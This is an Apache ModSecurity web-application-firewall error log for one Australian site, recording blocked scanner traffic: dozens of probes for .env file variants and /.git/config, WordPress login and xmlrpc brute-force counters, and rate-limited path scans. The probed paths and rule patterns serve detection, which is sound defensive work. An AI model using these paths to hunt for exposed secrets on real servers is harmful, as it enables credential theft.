[Sun Apr 26 06:36:30.802975 2026] [:error] [pid 10315:tid 10340] [client 85.204.70.112:59214] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ae1B7qJIw2vjkleLIaC0MgAAARc"]
[Sun Apr 26 06:36:32.410859 2026] [:error] [pid 41906:tid 41918] [client 85.204.70.112:59220] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ae1B8D3-0A3lxw9OXoAtNQAAAYo"]
[Sun Apr 26 06:36:33.710745 2026] [:error] [pid 10315:tid 10329] [client 85.204.70.112:59222] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ae1B8aJIw2vjkleLIaC0RQAAAQw"]
[Sun Apr 26 06:36:34.932950 2026] [:error] [pid 8491:tid 8503] [client 85.204.70.112:59230] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ae1B8iq7I7e6CJooQM2dVwAAAMQ"]
[Sun Apr 26 08:53:42.458072 2026] [:error] [pid 22573:tid 22609] [client 176.120.22.46:61376] [client 176.120.22.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.120.22.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae1iFnB3EmQlD4yKUt87IgAAAYM"], referer: https://measureyourbrand.com.au/wp-login.php
[Sun Apr 26 08:53:47.068747 2026] [:error] [pid 8385:tid 8427] [client 176.120.22.46:62498] [client 176.120.22.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.120.22.46, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae1iGjOy7_J84Wx3-ox9nwAAAEM"], referer: https://measureyourbrand.com.au/xmlrpc.php
[Sun Apr 26 11:42:49.689409 2026] [:error] [pid 8385:tid 8429] [client 43.153.54.14:48088] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae2JuTOy7_J84Wx3-oyZAgAAAEU"]
[Sun Apr 26 12:04:46.191870 2026] [:error] [pid 8385:tid 8439] [client 54.178.182.219:43822] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ae2O3jOy7_J84Wx3-oybPwAAAE8"]
[Sun Apr 26 12:04:46.911750 2026] [:error] [pid 22572:tid 22591] [client 54.178.182.219:43862] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ae2O3tXOViWCFU-pZzDDHQAAAU0"]
[Sun Apr 26 12:04:47.474560 2026] [:error] [pid 8390:tid 8460] [client 54.178.182.219:43876] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "ae2O34GPtFK_i9p5yxSx1AAAAIk"]
[Sun Apr 26 12:04:48.032038 2026] [:error] [pid 16515:tid 16536] [client 54.178.182.219:43890] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "ae2O4FtDrUmgHSvpuLz8mwAAAlI"]
[Sun Apr 26 12:04:48.590035 2026] [:error] [pid 13137:tid 13148] [client 54.178.182.219:43926] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "ae2O4N0RB4J0o4h5neEjwQAAAgg"]
[Sun Apr 26 12:04:49.148006 2026] [:error] [pid 8390:tid 8474] [client 54.178.182.219:43954] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "ae2O4YGPtFK_i9p5yxSx2AAAAJc"]
[Sun Apr 26 12:04:49.706752 2026] [:error] [pid 8385:tid 8444] [client 54.178.182.219:43982] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "ae2O4TOy7_J84Wx3-oybSAAAAFQ"]
[Sun Apr 26 12:04:50.263058 2026] [:error] [pid 13137:tid 13163] [client 54.178.182.219:44004] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "ae2O4t0RB4J0o4h5neEjwwAAAhY"]
[Sun Apr 26 12:04:50.820066 2026] [:error] [pid 8390:tid 8472] [client 54.178.182.219:44198] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "ae2O4oGPtFK_i9p5yxSx2gAAAJU"]
[Sun Apr 26 12:04:51.385961 2026] [:error] [pid 8390:tid 8457] [client 54.178.182.219:44228] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "ae2O44GPtFK_i9p5yxSx3QAAAIY"]
[Sun Apr 26 12:04:51.944353 2026] [:error] [pid 13197:tid 13246] [client 54.178.182.219:44238] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "ae2O493kktFKdSxTrBuw8gAAAs4"]
[Sun Apr 26 12:04:52.505315 2026] [:error] [pid 8383:tid 8413] [client 54.178.182.219:44258] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "ae2O5NFa2S3EsATMdWPoKgAAABA"]
[Sun Apr 26 12:04:53.067318 2026] [:error] [pid 22573:tid 22606] [client 54.178.182.219:44290] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "ae2O5XB3EmQlD4yKUt-C9wAAAYA"]
[Sun Apr 26 12:04:53.636710 2026] [:error] [pid 22573:tid 22622] [client 54.178.182.219:44318] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "ae2O5XB3EmQlD4yKUt-C_QAAAY8"]
[Sun Apr 26 12:04:54.202641 2026] [:error] [pid 22573:tid 22610] [client 54.178.182.219:44348] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "ae2O5nB3EmQlD4yKUt-DBAAAAYQ"]
[Sun Apr 26 12:04:54.761369 2026] [:error] [pid 22573:tid 22620] [client 54.178.182.219:44364] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "ae2O5nB3EmQlD4yKUt-DBgAAAY0"]
[Sun Apr 26 12:04:55.322693 2026] [:error] [pid 16574:tid 16619] [client 54.178.182.219:44398] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "ae2O535MsX8wRQr99nYUJwAAA0w"]
[Sun Apr 26 12:04:55.878845 2026] [:error] [pid 13197:tid 13235] [client 54.178.182.219:44432] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "ae2O593kktFKdSxTrBuw9QAAAsQ"]
[Sun Apr 26 12:04:56.440463 2026] [:error] [pid 8390:tid 8473] [client 54.178.182.219:44476] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "ae2O6IGPtFK_i9p5yxSx8AAAAJY"]
[Sun Apr 26 12:04:57.004530 2026] [:error] [pid 22573:tid 22623] [client 54.178.182.219:44490] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "ae2O6XB3EmQlD4yKUt-DGAAAAZA"]
[Sun Apr 26 12:04:57.562522 2026] [:error] [pid 13137:tid 13157] [client 54.178.182.219:44502] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "ae2O6d0RB4J0o4h5neEjyAAAAhA"]
[Sun Apr 26 12:04:58.119564 2026] [:error] [pid 16574:tid 16611] [client 54.178.182.219:44524] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "ae2O6n5MsX8wRQr99nYUKgAAA0c"]
[Sun Apr 26 12:04:58.679250 2026] [:error] [pid 13137:tid 13142] [client 54.178.182.219:44558] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "ae2O6t0RB4J0o4h5neEjyQAAAgI"]
[Sun Apr 26 12:04:59.239341 2026] [:error] [pid 8383:tid 8419] [client 54.178.182.219:44572] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "ae2O69Fa2S3EsATMdWPoMwAAABY"]
[Sun Apr 26 12:04:59.795191 2026] [:error] [pid 13137:tid 13151] [client 54.178.182.219:44600] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "ae2O690RB4J0o4h5neEjzQAAAgo"]
[Sun Apr 26 12:05:00.364967 2026] [:error] [pid 22572:tid 22582] [client 54.178.182.219:44634] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "ae2O7NXOViWCFU-pZzDDNgAAAUQ"]
[Sun Apr 26 12:05:00.925624 2026] [:error] [pid 13197:tid 13256] [client 54.178.182.219:41296] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "ae2O7N3kktFKdSxTrBuw-wAAAtg"]
[Sun Apr 26 12:05:01.483090 2026] [:error] [pid 13197:tid 13240] [client 54.178.182.219:41326] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "ae2O7d3kktFKdSxTrBuw_QAAAsk"]
[Sun Apr 26 12:05:02.074956 2026] [:error] [pid 13137:tid 13145] [client 54.178.182.219:41352] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "ae2O7t0RB4J0o4h5neEj0AAAAgU"]
[Sun Apr 26 12:05:02.630471 2026] [:error] [pid 16515:tid 16524] [client 54.178.182.219:41368] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "ae2O7ltDrUmgHSvpuLz8sQAAAkY"]
[Sun Apr 26 12:05:03.188556 2026] [:error] [pid 8390:tid 8464] [client 54.178.182.219:41398] [client 54.178.182.219] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "ae2O74GPtFK_i9p5yxSx9AAAAI0"]
[Sun Apr 26 12:55:30.752454 2026] [:error] [pid 16515:tid 16542] [client 125.75.66.97:47117] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ae2awltDrUmgHSvpuLwELgAAAlg"]
[Sun Apr 26 13:22:29.395097 2026] [:error] [pid 8385:tid 8447] [client 137.184.224.217:50717] [client 137.184.224.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.224.217, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae2hFTOy7_J84Wx3-oyk9wAAAFc"]
[Sun Apr 26 13:22:30.473483 2026] [:error] [pid 13137:tid 13154] [client 137.184.224.217:50919] [client 137.184.224.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.224.217, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae2hFt0RB4J0o4h5neEzIgAAAg0"]
[Sun Apr 26 14:06:05.094736 2026] [:error] [pid 22572:tid 22599] [client 170.64.151.210:62886] [client 170.64.151.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.151.210, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae2rTdXOViWCFU-pZzDfGQAAAVU"]
[Sun Apr 26 14:06:05.167105 2026] [:error] [pid 8385:tid 8428] [client 170.64.151.210:62914] [client 170.64.151.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.151.210, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "ae2rTTOy7_J84Wx3-oypdAAAAEQ"]
[Sun Apr 26 19:07:54.239937 2026] [:error] [pid 8383:tid 8419] [client 43.153.113.127:60448] [client 43.153.113.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae3yCtFa2S3EsATMdWM6pgAAABY"]
[Sun Apr 26 19:34:57.292572 2026] [:error] [pid 13137:tid 13145] [client 65.108.125.120:44284] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ae34Yd0RB4J0o4h5neFukQAAAgU"]
[Sun Apr 26 19:34:59.860190 2026] [:error] [pid 22573:tid 22625] [client 65.108.125.120:46724] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ae34Y3B3EmQlD4yKUt_yMgAAAZI"]
[Sun Apr 26 19:35:02.468617 2026] [:error] [pid 22573:tid 22618] [client 65.108.125.120:46736] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ae34ZnB3EmQlD4yKUt_yNgAAAYs"]
[Sun Apr 26 19:35:05.014315 2026] [:error] [pid 8390:tid 8462] [client 65.108.125.120:46742] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ae34aYGPtFK_i9p5yxRQyQAAAIs"]
[Sun Apr 26 19:35:07.449994 2026] [:error] [pid 22572:tid 22590] [client 65.108.125.120:46756] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ae34a9XOViWCFU-pZzAd3wAAAUw"]
[Sun Apr 26 19:35:09.973626 2026] [:error] [pid 22572:tid 22599] [client 65.108.125.120:17350] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ae34bdXOViWCFU-pZzAd7gAAAVU"]
[Sun Apr 26 19:35:12.401362 2026] [:error] [pid 22572:tid 22589] [client 65.108.125.120:17360] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ae34cNXOViWCFU-pZzAd_QAAAUs"]
[Sun Apr 26 19:35:14.930413 2026] [:error] [pid 8390:tid 8461] [client 65.108.125.120:17382] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ae34coGPtFK_i9p5yxRQ1wAAAIo"]
[Sun Apr 26 19:35:17.484613 2026] [:error] [pid 16574:tid 16627] [client 65.108.125.120:17384] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ae34dX5MsX8wRQr99nYznAAAA1A"]
[Sun Apr 26 19:35:19.864744 2026] [:error] [pid 22573:tid 22629] [client 65.108.125.120:63960] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ae34d3B3EmQlD4yKUt_yXgAAAZY"]
[Sun Apr 26 19:35:22.574209 2026] [:error] [pid 8390:tid 8466] [client 65.108.125.120:63968] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ae34eoGPtFK_i9p5yxRQ_wAAAI8"]
